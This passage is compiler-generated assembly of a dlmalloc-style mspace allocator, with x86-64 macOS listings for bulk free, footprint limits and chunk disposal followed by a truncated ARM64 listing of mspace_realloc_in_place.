movq _mparams(%rip), %rax
xorq %r13, %rax
movq %rax, -16(%r14,%r8)
LBB0_79:
movq %r15, %rcx
testb $2, 880(%r13)
je LBB0_82
jmp LBB0_81
LBB0_84:
leaq (%r15,%r12), %rsi
andl $1, %edi
orq %r12, %rdi
orq $2, %rdi
movq %rdi, -8(%r14)
movq _mparams(%rip), %rax
xorq %r13, %rax
movq %rax, -16(%r14,%r12)
movq %rdx, %rcx
orq $3, %rcx
movq %rcx, -8(%r14,%r12)
orb $1, -8(%r14,%r8)
movq %rax, -16(%r14,%r8)
jmp LBB0_27
.cfi_endproc
## -- End function
.globl _mspace_bulk_free ## -- Begin function mspace_bulk_free
.p2align 4, 0x90
_mspace_bulk_free: ## @mspace_bulk_free
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r15
movq %rsi, %r12
movq %rdi, %r14
testb $2, 880(%rdi)
je LBB1_7
## %bb.1:
movl $1, %ebx
movl $1, %eax
xchgl %eax, 884(%r14)
testl %eax, %eax
jne LBB1_2
LBB1_7:
testq %r15, %r15
je LBB1_8
## %bb.9:
leaq -8(,%r15,8), %rax
movq %rax, -48(%rbp) ## 8-byte Spill
shlq $3, %r15
xorl %r13d, %r13d
xorl %eax, %eax
jmp LBB1_10
.p2align 4, 0x90
LBB1_6: ## in Loop: Header=BB1_2 Depth=1
incl %ebx
LBB1_2: ## =>This Inner Loop Header: Depth=1
cmpl $0, 884(%r14)
jne LBB1_4
## %bb.3: ## in Loop: Header=BB1_2 Depth=1
movl $1, %eax
xchgl %eax, 884(%r14)
testl %eax, %eax
je LBB1_7
LBB1_4: ## in Loop: Header=BB1_2 Depth=1
testb $63, %bl
jne LBB1_6
## %bb.5: ## in Loop: Header=BB1_2 Depth=1
callq _sched_yield
jmp LBB1_6
.p2align 4, 0x90
LBB1_12: ## in Loop: Header=BB1_10 Depth=1
incq %rax
LBB1_19: ## in Loop: Header=BB1_10 Depth=1
addq $8, %r13
cmpq %r13, %r15
je LBB1_20
LBB1_10: ## =>This Inner Loop Header: Depth=1
movq (%r12,%r13), %rcx
testq %rcx, %rcx
je LBB1_19
## %bb.11: ## in Loop: Header=BB1_10 Depth=1
movq -8(%rcx), %rbx
movq %rbx, %rdx
andq $-8, %rdx
movq _mparams(%rip), %r8
movq -16(%rcx,%rdx), %rsi
xorq %r8, %rsi
cmpq %r14, %rsi
jne LBB1_12
## %bb.13: ## in Loop: Header=BB1_10 Depth=1
leaq -16(%rcx), %rsi
movq $0, (%r12,%r13)
cmpq 24(%r14), %rsi
jb LBB1_43
## %bb.14: ## in Loop: Header=BB1_10 Depth=1
movl %ebx, %edi
andl $3, %edi
cmpl $1, %edi
je LBB1_43
## %bb.15: ## in Loop: Header=BB1_10 Depth=1
cmpq %r13, -48(%rbp) ## 8-byte Folded Reload
je LBB1_18
## %bb.16: ## in Loop: Header=BB1_10 Depth=1
leaq (%rcx,%rdx), %rdi
addq $-16, %rdi
addq $16, %rdi
cmpq %rdi, 8(%r12,%r13)
je LBB1_17
LBB1_18: ## in Loop: Header=BB1_10 Depth=1
movq %r14, %rdi
movq %rax, %rbx
callq _dispose_chunk
movq %rbx, %rax
jmp LBB1_19
LBB1_17: ## in Loop: Header=BB1_10 Depth=1
movq -8(%rcx,%rdx), %rsi
andq $-8, %rsi
addq %rdx, %rsi
andl $1, %ebx
orq %rsi, %rbx
orq $2, %rbx
movq %rbx, -8(%rcx)
orb $1, -8(%rcx,%rsi)
xorq %r14, %r8
movq %r8, -16(%rcx,%rsi)
movq %rcx, 8(%r12,%r13)
jmp LBB1_19
LBB1_8:
xorl %eax, %eax
LBB1_20:
movq 16(%r14), %rcx
cmpq 48(%r14), %rcx
jbe LBB1_40
## %bb.21:
cmpq $0, _mparams(%rip)
jne LBB1_32
## %bb.22:
movl $1, %ebx
movl $1, %ecx
xchgl %ecx, _malloc_global_mutex(%rip)
testl %ecx, %ecx
movq %rax, %r15
jne LBB1_23
LBB1_28:
cmpq $0, _mparams(%rip)
jne LBB1_31
## %bb.29:
movl $29, %edi
callq _sysconf
leaq -1(%rax), %rcx
testq %rcx, %rax
jne LBB1_43
## %bb.30:
movq $65536, _mparams+16(%rip) ## imm = 0x10000
movq %rax, _mparams+8(%rip)
pcmpeqd %xmm0, %xmm0
movdqu %xmm0, _mparams+24(%rip)
movl $6, _mparams+40(%rip)
xorl %edi, %edi
callq _time
andq $-16, %rax
xorq $1431655768, %rax ## imm = 0x55555558
movq %rax, _mparams(%rip)
movq %r15, %rax
LBB1_31:
movl $0, _malloc_global_mutex(%rip)
LBB1_32:
movq 40(%r14), %rdi
testq %rdi, %rdi
je LBB1_40
## %bb.33:
movq 16(%r14), %rcx
cmpq $81, %rcx
jb LBB1_38
## %bb.34:
leaq 888(%r14), %rdx
jmp LBB1_35
.p2align 4, 0x90
LBB1_27: ## in Loop: Header=BB1_23 Depth=1
incl %ebx
LBB1_23: ## =>This Inner Loop Header: Depth=1
cmpl $0, _malloc_global_mutex(%rip)
jne LBB1_25
## %bb.24: ## in Loop: Header=BB1_23 Depth=1
movl $1, %ecx
xchgl %ecx, _malloc_global_mutex(%rip)
testl %ecx, %ecx
je LBB1_28
LBB1_25: ## in Loop: Header=BB1_23 Depth=1
testb $63, %bl
jne LBB1_27
## %bb.26: ## in Loop: Header=BB1_23 Depth=1
callq _sched_yield
movq %r15, %rax
jmp LBB1_27
.p2align 4, 0x90
LBB1_37: ## in Loop: Header=BB1_35 Depth=1
movq 16(%rdx), %rdx
testq %rdx, %rdx
je LBB1_38
LBB1_35: ## =>This Inner Loop Header: Depth=1
movq (%rdx), %rsi
cmpq %rdi, %rsi
ja LBB1_37
## %bb.36: ## in Loop: Header=BB1_35 Depth=1
addq 8(%rdx), %rsi
cmpq %rdi, %rsi
jbe LBB1_37
LBB1_38:
cmpq 48(%r14), %rcx
jbe LBB1_40
## %bb.39:
movq $-1, 48(%r14)
LBB1_40:
testb $2, 880(%r14)
je LBB1_42
## %bb.41:
movl $0, 884(%r14)
LBB1_42:
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB1_43:
callq _abort
.cfi_endproc
## -- End function
.globl _mspace_footprint_limit ## -- Begin function mspace_footprint_limit
.p2align 4, 0x90
_mspace_footprint_limit: ## @mspace_footprint_limit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq 64(%rdi), %rax
cmpq _mparams(%rip), %rax
jne LBB2_2
## %bb.1:
movq 872(%rdi), %rcx
xorl %eax, %eax
cmpq $1, %rcx
sbbq %rax, %rax
orq %rcx, %rax
popq %rbp
retq
LBB2_2:
callq _abort
.cfi_endproc
## -- End function
.globl _mspace_set_footprint_limit ## -- Begin function mspace_set_footprint_limit
.p2align 4, 0x90
_mspace_set_footprint_limit: ## @mspace_set_footprint_limit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq 64(%rdi), %rax
cmpq _mparams(%rip), %rax
jne LBB3_5
## %bb.1:
cmpq $-1, %rsi
je LBB3_2
## %bb.3:
movq _mparams+16(%rip), %rax
leaq (%rsi,%rax), %rcx
decq %rcx
negq %rax
andq %rcx, %rax
jmp LBB3_4
LBB3_2:
xorl %eax, %eax
LBB3_4:
movq %rax, 872(%rdi)
popq %rbp
retq
LBB3_5:
callq _abort
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function dispose_chunk
_dispose_chunk: ## @dispose_chunk
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
leaq (%rsi,%rdx), %r8
movq 8(%rsi), %rax
testb $1, %al
jne LBB4_40
## %bb.1:
testb $3, %al
je LBB4_108
## %bb.2:
movq (%rsi), %rcx
subq %rcx, %rsi
movq 24(%rdi), %r10
cmpq %r10, %rsi
jb LBB4_109
## %bb.3:
addq %rcx, %rdx
cmpq %rsi, 32(%rdi)
je LBB4_45
## %bb.4:
cmpq $255, %rcx
ja LBB4_14
## %bb.5:
shrq $3, %rcx
movq 16(%rsi), %rax
movq 24(%rsi), %r9
leal (%rcx,%rcx), %ebx
leaq (%rdi,%rbx,8), %rbx
addq $72, %rbx
cmpq %rbx, %rax
je LBB4_8
## %bb.6:
cmpq %rax, %r10
ja LBB4_109
## %bb.7:
cmpq %rsi, 24(%rax)
jne LBB4_109
LBB4_8:
cmpq %rax, %r9
je LBB4_9
## %bb.10:
cmpq %rbx, %r9
je LBB4_13
## %bb.11:
cmpq %r9, %r10
ja LBB4_109
## %bb.12:
cmpq %rsi, 16(%r9)
jne LBB4_109
LBB4_13:
movq %r9, 24(%rax)
movq %rax, 16(%r9)
jmp LBB4_40
LBB4_45:
movq 8(%r8), %rax
movl %eax, %ecx
notl %ecx
testb $3, %cl
jne LBB4_40
## %bb.46:
movq %rdx, 8(%rdi)
andq $-2, %rax
movq %rax, 8(%r8)
movq %rdx, %rax
orq $1, %rax
movq %rax, 8(%rsi)
movq %rdx, (%r8)
jmp LBB4_108
LBB4_14:
movq 24(%rsi), %r11
movq 48(%rsi), %r9
cmpq %rsi, %r11
je LBB4_19
## %bb.15:
movq 16(%rsi), %rax
cmpq %rax, %r10
ja LBB4_109
## %bb.16:
cmpq %rsi, 24(%rax)
jne LBB4_109
## %bb.17:
cmpq %rsi, 16(%r11)
jne LBB4_109
## %bb.18:
movq %r11, 24(%rax)
movq %rax, 16(%r11)
testq %r9, %r9
jne LBB4_28
jmp LBB4_40
LBB4_9:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, (%rdi)
jmp LBB4_40
LBB4_19:
movq 40(%rsi), %rax
testq %rax, %rax
je LBB4_25
## %bb.20:
leaq 40(%rsi), %rcx
jmp LBB4_21
LBB4_25:
leaq 32(%rsi), %rcx
movq (%rcx), %rax
testq %rax, %rax
je LBB4_26
.p2align 4, 0x90
LBB4_21: ## =>This Inner Loop Header: Depth=1
movq %rax, %r11
movq %rcx, %rbx
leaq 40(%rax), %rcx
movq 40(%rax), %rax
testq %rax, %rax
jne LBB4_21
## %bb.22: ## in Loop: Header=BB4_21 Depth=1
leaq 32(%r11), %rcx
movq 32(%r11), %rax
testq %rax, %rax
jne LBB4_21
## %bb.23:
cmpq %rbx, %r10
ja LBB4_109
## %bb.24:
movq $0, (%rbx)
testq %r9, %r9
je LBB4_40
LBB4_28:
movl 56(%rsi), %ecx
cmpq %rsi, 600(%rdi,%rcx,8)
je LBB4_29
## %bb.31:
cmpq %r9, 24(%rdi)
ja LBB4_109
## %bb.32:
xorl %eax, %eax
cmpq %rsi, 32(%r9)
setne %al
movq %r11, 32(%r9,%rax,8)
testq %r11, %r11
jne LBB4_33
jmp LBB4_40
LBB4_29:
movq %r11, 600(%rdi,%rcx,8)
testq %r11, %r11
je LBB4_30
LBB4_33:
movq 24(%rdi), %rax
cmpq %r11, %rax
ja LBB4_109
## %bb.34:
movq %r9, 48(%r11)
movq 32(%rsi), %rcx
testq %rcx, %rcx
je LBB4_37
## %bb.35:
cmpq %rcx, %rax
ja LBB4_109
## %bb.36:
movq %rcx, 32(%r11)
movq %r11, 48(%rcx)
LBB4_37:
movq 40(%rsi), %rax
testq %rax, %rax
je LBB4_40
## %bb.38:
cmpq %rax, 24(%rdi)
ja LBB4_109
## %bb.39:
movq %rax, 40(%r11)
movq %r11, 48(%rax)
jmp LBB4_40
LBB4_30:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, 4(%rdi)
LBB4_40:
movq 24(%rdi), %r11
cmpq %r11, %r8
jb LBB4_109
## %bb.41:
movq 8(%r8), %r9
testb $2, %r9b
jne LBB4_87
## %bb.42:
cmpq %r8, 40(%rdi)
je LBB4_43
## %bb.47:
cmpq %r8, 32(%rdi)
je LBB4_48
## %bb.49:
cmpq $255, %r9
ja LBB4_59
## %bb.50:
movq %r9, %rcx
shrq $3, %rcx
movq 16(%r8), %rax
movq 24(%r8), %r10
leal (%rcx,%rcx), %ebx
leaq (%rdi,%rbx,8), %rbx
addq $72, %rbx
cmpq %rbx, %rax
je LBB4_53
## %bb.51:
cmpq %rax, %r11
ja LBB4_109
## %bb.52:
cmpq %r8, 24(%rax)
jne LBB4_109
LBB4_53:
cmpq %rax, %r10
je LBB4_54
## %bb.55:
cmpq %rbx, %r10
je LBB4_58
## %bb.56:
cmpq %r10, %r11
ja LBB4_109
## %bb.57:
cmpq %r8, 16(%r10)
jne LBB4_109
LBB4_58:
movq %r10, 24(%rax)
movq %rax, 16(%r10)
jmp LBB4_85
LBB4_87:
andq $-2, %r9
movq %r9, 8(%r8)
movq %rdx, %rax
orq $1, %rax
movq %rax, 8(%rsi)
movq %rdx, (%rsi,%rdx)
LBB4_88:
cmpq $255, %rdx
ja LBB4_93
## %bb.89:
shrq $3, %rdx
leal (%rdx,%rdx), %eax
leaq (%rdi,%rax,8), %r8
addq $72, %r8
movl (%rdi), %ebx
movl $1, %eax
movl %edx, %ecx
shll %cl, %eax
btl %edx, %ebx
jae LBB4_90
## %bb.91:
movq 16(%r8), %rcx
cmpq %rcx, 24(%rdi)
jbe LBB4_92
jmp LBB4_109
LBB4_93:
movq %rdx, %rax
shrq $8, %rax
testl %eax, %eax
je LBB4_94
## %bb.95:
movl $31, %ecx
cmpl $65535, %eax ## imm = 0xFFFF
ja LBB4_97
## %bb.96:
bsrl %eax, %eax
xorl $31, %eax
movb $38, %cl
subb %al, %cl
movzbl %cl, %ecx
xorl %ebx, %ebx
btq %rcx, %rdx
setb %bl
leal (%rbx,%rax,2), %ecx
xorl $62, %ecx
jmp LBB4_97
LBB4_43:
addq 16(%rdi), %rdx
movq %rdx, 16(%rdi)
movq %rsi, 40(%rdi)
orq $1, %rdx
movq %rdx, 8(%rsi)
cmpq 32(%rdi), %rsi
jne LBB4_108
## %bb.44:
movq $0, 32(%rdi)
movq $0, 8(%rdi)
jmp LBB4_108
LBB4_48:
addq 8(%rdi), %rdx
movq %rdx, 8(%rdi)
movq %rsi, 32(%rdi)
movq %rdx, %rax
orq $1, %rax
movq %rax, 8(%rsi)
movq %rdx, (%rsi,%rdx)
jmp LBB4_108
LBB4_90:
orl %eax, %ebx
movl %ebx, (%rdi)
movq %r8, %rcx
LBB4_92:
movq %rsi, 16(%r8)
movq %rsi, 24(%rcx)
movq %rcx, 16(%rsi)
movq %r8, 24(%rsi)
jmp LBB4_108
LBB4_94:
xorl %ecx, %ecx
LBB4_97:
movl %ecx, %eax
leaq (%rdi,%rax,8), %r8
addq $600, %r8 ## imm = 0x258
movl %ecx, 56(%rsi)
xorps %xmm0, %xmm0
movups %xmm0, 32(%rsi)
movl 4(%rdi), %ebx
movl $1, %eax
shll %cl, %eax
btl %ecx, %ebx
jae LBB4_98
## %bb.99:
movl %ecx, %eax
shrl %eax
movb $57, %bl
subb %al, %bl
xorl %eax, %eax
cmpl $31, %ecx
movzbl %bl, %ecx
cmovel %eax, %ecx
movq (%r8), %r8
movq %rdx, %rax
## kill: def $cl killed $cl killed $ecx
shlq %cl, %rax
.p2align 4, 0x90
LBB4_100: ## =>This Inner Loop Header: Depth=1
movq %r8, %rcx
movq 8(%r8), %rbx
andq $-8, %rbx
cmpq %rdx, %rbx
je LBB4_105
## %bb.101: ## in Loop: Header=BB4_100 Depth=1
movq %rax, %rbx
shrq $63, %rbx
addq %rax, %rax
movq 32(%rcx,%rbx,8), %r8
testq %r8, %r8
jne LBB4_100
## %bb.102:
leaq (%rcx,%rbx,8), %rax
addq $32, %rax
cmpq %rax, 24(%rdi)
ja LBB4_109
## %bb.103:
movq %rsi, (%rax)
movq %rcx, 48(%rsi)
jmp LBB4_104
LBB4_98:
orl %eax, %ebx
movl %ebx, 4(%rdi)
movq %rsi, (%r8)
movq %r8, 48(%rsi)
LBB4_104:
movq %rsi, 24(%rsi)
movq %rsi, 16(%rsi)
jmp LBB4_108
LBB4_105:
movq 24(%rdi), %rdx
cmpq %rcx, %rdx
ja LBB4_109
## %bb.106:
movq 16(%rcx), %rax
cmpq %rax, %rdx
ja LBB4_109
## %bb.107:
movq %rsi, 24(%rax)
movq %rsi, 16(%rcx)
movq %rax, 16(%rsi)
movq %rcx, 24(%rsi)
movq $0, 48(%rsi)
jmp LBB4_108
LBB4_59:
movq 24(%r8), %rax
movq 48(%r8), %r10
cmpq %r8, %rax
je LBB4_64
## %bb.60:
movq 16(%r8), %rcx
cmpq %rcx, %r11
ja LBB4_109
## %bb.61:
cmpq %r8, 24(%rcx)
jne LBB4_109
## %bb.62:
cmpq %r8, 16(%rax)
jne LBB4_109
## %bb.63:
movq %rax, 24(%rcx)
movq %rcx, 16(%rax)
testq %r10, %r10
jne LBB4_73
jmp LBB4_85
LBB4_54:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, (%rdi)
jmp LBB4_85
LBB4_64:
movq 40(%r8), %rbx
testq %rbx, %rbx
je LBB4_70
## %bb.65:
leaq 40(%r8), %rcx
jmp LBB4_66
LBB4_70:
leaq 32(%r8), %rcx
movq (%rcx), %rbx
testq %rbx, %rbx
je LBB4_71
.p2align 4, 0x90
LBB4_66: ## =>This Inner Loop Header: Depth=1
movq %rbx, %rax
movq %rcx, %r14
leaq 40(%rbx), %rcx
movq 40(%rbx), %rbx
testq %rbx, %rbx
jne LBB4_66
## %bb.67: ## in Loop: Header=BB4_66 Depth=1
leaq 32(%rax), %rcx
movq 32(%rax), %rbx
testq %rbx, %rbx
jne LBB4_66
## %bb.68:
cmpq %r14, %r11
ja LBB4_109
## %bb.69:
movq $0, (%r14)
testq %r10, %r10
je LBB4_85
LBB4_73:
movl 56(%r8), %ecx
cmpq %r8, 600(%rdi,%rcx,8)
je LBB4_74
## %bb.76:
cmpq %r10, 24(%rdi)
ja LBB4_109
## %bb.77:
xorl %ecx, %ecx
cmpq %r8, 32(%r10)
setne %cl
movq %rax, 32(%r10,%rcx,8)
testq %rax, %rax
jne LBB4_78
jmp LBB4_85
LBB4_74:
movq %rax, 600(%rdi,%rcx,8)
testq %rax, %rax
je LBB4_75
LBB4_78:
movq 24(%rdi), %rcx
cmpq %rax, %rcx
ja LBB4_109
## %bb.79:
movq %r10, 48(%rax)
movq 32(%r8), %rbx
testq %rbx, %rbx
je LBB4_82
## %bb.80:
cmpq %rbx, %rcx
ja LBB4_109
## %bb.81:
movq %rbx, 32(%rax)
movq %rax, 48(%rbx)
LBB4_82:
movq 40(%r8), %rcx
testq %rcx, %rcx
je LBB4_85
## %bb.83:
cmpq %rcx, 24(%rdi)
ja LBB4_109
## %bb.84:
movq %rcx, 40(%rax)
movq %rax, 48(%rcx)
jmp LBB4_85
LBB4_75:
movl $-2, %eax
## kill: def $cl killed $cl killed $rcx
roll %cl, %eax
andl %eax, 4(%rdi)
LBB4_85:
andq $-8, %r9
addq %r9, %rdx
movq %rdx, %rax
orq $1, %rax
movq %rax, 8(%rsi)
movq %rdx, (%rsi,%rdx)
cmpq 32(%rdi), %rsi
jne LBB4_88
## %bb.86:
movq %rdx, 8(%rdi)
LBB4_108:
popq %rbx
popq %r14
popq %rbp
retq
LBB4_26:
xorl %r11d, %r11d
testq %r9, %r9
jne LBB4_28
jmp LBB4_40
LBB4_71:
xorl %eax, %eax
testq %r10, %r10
jne LBB4_73
jmp LBB4_85
LBB4_109:
callq _abort
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_mparams,48,3 ## @mparams
.zerofill __DATA,__bss,_malloc_global_mutex,4,2 ## @malloc_global_mutex
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mspace_realloc_in_place ; -- Begin function mspace_realloc_in_place
.p2align 2
_mspace_realloc_in_place: ; @mspace_realloc_in_place
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
cbz x1, LBB0_3
; %bb.1:
cmn x2, #128
b.lo LBB0_4
; %bb.2:
bl ___error
mov x8, x0
mov x0, #0
mov w9, #12
str w9, [x8]
b LBB0_43
LBB0_3:
mov x0, #0
b LBB0_43
LBB0_4:
mov x19, x1
add x8, x2, #31
and x8, x8, #0xfffffffffffffff0
mov w9, #32
sub x21, x1, #16
ldur x10, [x1, #-8]
and x10, x10, #0xfffffffffffffff8
ldr x10, [x21, x10]
cmp x2, #15
csel x23, x9, x8, lo
adrp x22, _mparams@PAGE
ldr x8, [x22, _mparams@PAGEOFF]
eor x20, x8, x10
ldr x9, [x20, #64]
cmp x9, x8
b.ne LBB0_71
; %bb.5:
ldrb w8, [x20, #880]
tbz w8, #1, LBB0_13
; %bb.6:
add x8, x20, #884
mov w24, #1
swpal w24, w8, [x8]
cbz w8, LBB0_13
; %bb.7:
mov w25, #1
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_9 Depth=1
add w25, w25, #1
LBB0_9: ; =>This Inner Loop Header: Depth=1
ldr w8, [x20, #884]
cbnz w8, LBB0_11
; %bb.10: ; in Loop: Header=BB0_9 Depth=1
add x8, x20, #884
swpal w24, w8, [x8]
cbz w8, LBB0_13
LBB0_11: ; in Loop: Header=BB0_9 Depth=1
tst w25, #0x3f
b.ne LBB0_8
; %bb.12: ; in Loop: Header=BB0_9 Depth=1
bl _sched_yield
b LBB0_8
LBB0_13:
ldur x8, [x19, #-8]
and x9, x8, #0xfffffffffffffff8
ldr x11, [x20, #24]
and x13, x8, #0x3
cmp x11, x21
ccmp x13, #1, #4, ls
ccmp x9, #1, #8, ne
b.lt LBB0_71
; %bb.14:
add x10, x21, x9
ldr x12, [x10, #8]
tbz w12, #0, LBB0_71
; %bb.15:
cbz x13, LBB0_30
; %bb.16:
subs x2, x9, x23
b.hs LBB0_33
; %bb.17:
ldr x13, [x20, #40]
cmp x13, x10
b.eq LBB0_36
; %bb.18:
ldr x13, [x20, #32]
cmp x13, x10
b.eq LBB0_38
; %bb.19:
tbnz w12, #1, LBB0_39
; %bb.20:
and x13, x12, #0xfffffffffffffff8
add x9, x13, x9
subs x2, x9, x23
b.lo LBB0_39
; %bb.21:
cmp x12, #255
b.hi LBB0_48
; %bb.22:
ldp x13, x14, [x10, #16]
lsl x15, x12, #1
and x15, x15, #0x7fffffff0
add x15, x20, x15
add x15, x15, #72
cmp x13, x15
b.eq LBB0_25
; %bb.23:
cmp x11, x13
b.hi LBB0_71
; %bb.24:
ldr x16, [x13, #24]
cmp x16, x10
b.ne LBB0_71
LBB0_25:
cmp x14, x13
b.eq LBB0_53
; %bb.26:
cmp x14, x15
b.eq LBB0_29
; %bb.27:
cmp x11, x14
b.hi LBB0_71
; %bb.28:
ldr x11, [x14, #16]
cmp x11, x10
b.ne LBB0_71
LBB0_29:
str x14, [x13, #24]
str x13, [x14, #16]
b LBB0_74
LBB0_30:
cmp x23, #256
b.lo LBB0_39
; %bb.31:
orr x8, x23, #0x8
cmp x9, x8
b.lo LBB0_39
; %bb.32:
sub x8, x9, x23
Lloh0:
adrp x9, _mparams@PAGE+16
Lloh1:
ldr x9, [x9, _mparams@PAGEOFF+16]
cmp x8, x9, lsl #1
mov x9, x21
b.hi LBB0_39
b LBB0_40
LBB0_33:
mov x9, x21
cmp x2, #32
b.lo LBB0_40
; %bb.34:
add x1, x21, x23
and x8, x8, #0x1
orr x8, x23, x8
orr x8, x8, #0x2
stur x8, [x19, #-8]
ldr x8, [x22, _mparams@PAGEOFF]
eor x8, x8, x20
orr x9, x2, #0x3
stp x8, x9, [x1]
ldr x9, [x10, #8]
orr x9, x9, #0x1
stp x8, x9, [x10]
LBB0_35:
mov x0, x20
bl _dispose_chunk
b LBB0_76
LBB0_36:
ldr x10, [x20, #16]
add x9, x10, x9
subs x9, x9, x23
b.ls LBB0_39
; %bb.37:
and x8, x8, #0x1
orr x8, x23, x8
orr x8, x8, #0x2
stur x8, [x19, #-8]
ldr x8, [x22, _mparams@PAGEOFF]
add x10, x21, x23
eor x8, x8, x20
orr x11, x9, #0x1
stp x8, x11, [x10]
str x10, [x20, #40]
str x9, [x20, #16]
b LBB0_76
LBB0_38:
ldr x10, [x20, #8]
add x11, x10, x9
subs x9, x11, x23
b.hs LBB0_44
LBB0_39:
mov x9, #0
LBB0_40:
ldrb w8, [x20, #880]
tbz w8, #1, LBB0_42
LBB0_41:
add x8, x20, #884
stlr wzr, [x8]
LBB0_42:
cmp x9, x21
csel x0, x19, xzr, eq
LBB0_43:
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB0_44:
cmp x9, #32
b.lo LBB0_46
; %bb.45:
add x10, x21, x23
add x11, x21, x11
and x8, x8, #0x1
orr x8, x23, x8
orr x8, x8, #0x2
stur x8, [x19, #-8]
ldr x8, [x22, _mparams@PAGEOFF]
eor x8, x8, x20
orr x12, x9, #0x1
stp x8, x12, [x10]
ldr x8, [x11, #8]
and x8, x8, #0xfffffffffffffffe
stp x9, x8, [x11]
b LBB0_47
LBB0_46:
mov x9, #0
mov x10, #0
and x8, x8, #0x1
orr x8, x8, x11
orr x8, x8, #0x2
stur x8, [x19, #-8]
add x8, x21, x11
ldr x11, [x8, #8]
orr x11, x11, #0x1
ldr x12, [x22, _mparams@PAGEOFF]
eor x12, x12, x20
stp x12, x11, [x8]
LBB0_47:
str x9, [x20, #8]
str x10, [x20, #32]
b LBB0_76
LBB0_48:
ldr x12, [x10, #48]
ldr x13, [x10, #24]
cmp x13, x10
b.eq LBB0_54
; %bb.49:
ldr x14, [x10, #16]
cmp x11, x14
b.hi LBB0_71
; %bb.50:
ldr x11, [x14, #24]
cmp x11, x10
b.ne LBB0_71
; %bb.51:
ldr x11, [x13, #16]
cmp x11, x10
b.ne LBB0_71
; %bb.52:
str x13, [x14, #24]
str x14, [x13, #16]
cbnz x12, LBB0_60
b LBB0_74
LBB0_53:
lsr x10, x12, #3
mov w11, #1
lsl w10, w11, w10
ldr w11, [x20]
bic w10, w11, w10
str w10, [x20]
b LBB0_74
LBB0_54:
mov x14, x10
ldr x15, [x14, #40]!
cbnz x15, LBB0_56
; %bb.55:
ldr x15, [x14, #-8]!
cbz x15, LBB0_73
LBB0_56: ; =>This Inner Loop Header: Depth=1
mov x13, x15
mov x16, x14
mov x14, x15
ldr x15, [x14, #40]!
cbnz x15, LBB0_56
; %bb.57: ; in Loop: Header=BB0_56 Depth=1
mov x14, x13
ldr x15, [x14, #32]!
cbnz x15, LBB0_56
; %bb.58:
cmp x11, x16
b.hi LBB0_71
; %bb.59:
str xzr, [x16]
cbz x12, LBB0_74
LBB0_60:
ldr w11, [x10, #56]
add x14, x20, x11, lsl #3
ldr x15, [x14, #600]
cmp x15, x10
b.eq LBB0_63
; %bb.61:
ldr x11, [x20, #24]
cmp x11, x12
b.hi LBB0_71
; %bb.62:
ldr x11, [x12, #32]
mov w14, #40
mov w15, #32
cmp x11, x10
csel x11, x15, x14, eq
str x13, [x12, x11]
cbnz x13, LBB0_64
b LBB0_74
LBB0_63:
add x14, x14, #600
str x13, [x14]
cbz x13, LBB0_72
LBB0_64:
ldr x14, [x20, #24]
cmp x14, x13
b.hi LBB0_71
; %bb.65:
str x12, [x13, #48]
ldr x11, [x10, #32]
cbz x11, LBB0_68
; %bb.66:
cmp x14, x11
b.hi LBB0_71
; %bb.67:
str x11, [x13, #32]
str x13, [x11, #48]
LBB0_68:
ldr x10, [x10, #40]
cbz x10, LBB0_74
; %bb.69:
ldr x11, [x20, #24]
cmp x11, x10
b.hi LBB0_71
; %bb.70:
str x10, [x13, #40]
str x13, [x10, #48]
b LBB0_74
LBB0_71:
bl _abort
LBB0_72:
mov w10, #1
lsl w10, w10, w11
ldr w11, [x20, #4]
bic w10, w11, w10
str w10, [x20, #4]
b LBB0_74
LBB0_73:
mov x13, #0
cbnz x12, LBB0_60
LBB0_74:
cmp x2, #31
b.hi LBB0_77
; %bb.75:
and x8, x8, #0x1
orr x8, x8, x9
orr x8, x8, #0x2
stur x8, [x19, #-8]
add x8, x21, x9
ldr x9, [x8, #8]
orr x9, x9, #0x1
ldr x10, [x22, _mparams@PAGEOFF]
eor x10, x10, x20
stp x10, x9, [x8]
LBB0_76:
mov x9, x21
ldrb w8, [x20, #880]
tbz w8, #1, LBB0_42
b LBB0_41
LBB0_77:
add x1, x21, x23
and x8, x8, #0x1
